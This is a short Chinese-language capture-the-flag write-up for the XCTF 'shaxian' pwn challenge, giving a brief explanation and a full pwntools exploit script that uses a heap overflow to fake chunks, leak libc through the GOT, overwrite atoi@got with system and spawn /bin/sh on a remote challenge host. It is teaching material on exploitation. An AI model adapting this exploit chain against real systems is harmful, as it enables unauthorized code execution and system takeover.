XCTF-shaxian-WP

Posted on Mar 26, 2021

这道题做出的人很少,本来以为很难,结果一点都不难,但是打不通远程,不出意外应该是靶机的问题。因为本机可以打通,但是远程打不通,为了证明特意去网上找了一些 wp 中的 exp,发现也打不通,主要是因为找不到正确版本的 libc,第二次碰到这种情况,XCTF 平台还是有点不厚道啊。

具体的做法我不想多写,都挺明显的,漏洞就是堆溢出,通过这个溢出可以对任意地址实现 free,然后有三处可以让我们布置 fake chunk 的头尾,所以思路就是先把 0x804B1C0 free 掉,申请回来写 got,然后通过 review 功能 leak。然后再 free 掉 0x804B1C0,覆写 chunk_ptr 为 atoi@got,覆写为 system 的地址,就可以 getshell 了。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
context.terminal = ["tmux","splitw","-h"]

#sh = process("./shaxian")
sh = remote("111.200.241.244",51138)
elf = ELF("./shaxian")

def order(payload,num):
    sh.sendlineafter("choose:\n",'1')
    sh.sendlineafter("Jianjiao\n",payload)
    sh.sendlineafter("How many?\n",str(num))

def submit():
    sh.sendlineafter("choose:\n",'2')

def set_fakechunk(payload):
    sh.sendlineafter("choose:\n",'3')
    sh.sendafter("Taitou:",payload)

def review():
    sh.sendlineafter("choose:\n",'4')



sh.recvuntil("Your Address:\n")
payload = p32(0) * 2 + p32(0x21) * 20 + '\n'
sh.send(payload)
sh.recvuntil("Phone number:\n")
payload = 'a' * 0xE8 + p32(0) + p32(0x31) + p32(0) * 3 + '\x31' + '\n'
sh.send(payload)

order("pass this one",1)
order("pass this one",1)
order("alloc_to_chunkptr".ljust(32,'\x00') + p32(0x0804B1C0),1)

submit()
order(p32(0) * 6 + p32(0x31) + p32(0) * 2,int(elf.got["puts"]))
order("pass this one",1)
review()
sh.recvuntil("Cart:")
sh.recvuntil("*")
sh.recvuntil("* ")
leaked_addr = int(sh.recvuntil("\n"),base = 10) & 0xFFFFFFFF
log.success("leaked:" + hex(leaked_addr))
#libc_base = puts_addr - libc.sym["puts"]
libc = LibcSearcher("puts",leaked_addr)
libc_base = leaked_addr - libc.dump("puts")
log.success("libc_base:" + hex(libc_base))
free_hook = libc_base + libc.dump("__free_hook")
system_addr = libc_base + libc.dump("system")
log.success(hex(system_addr))
'''above leaked libc'''

order("pass this one",1)
order("pass this one",1)
order("alloc_to_chunkptr".ljust(32,'\x00') + p32(0x0804B1C0 - 0x10),1)
submit()
order('a' * 0xC + p32(elf.got["atoi"]),system_addr - 0x100000000)
#gdb.attach(proc.pidof(sh)[0])
sh.sendlineafter("choose:","/bin/sh\x00")

sh.interactive()

题目做了一个下午,本来想吐槽一下,但是太累了,就这样吧,真恶心。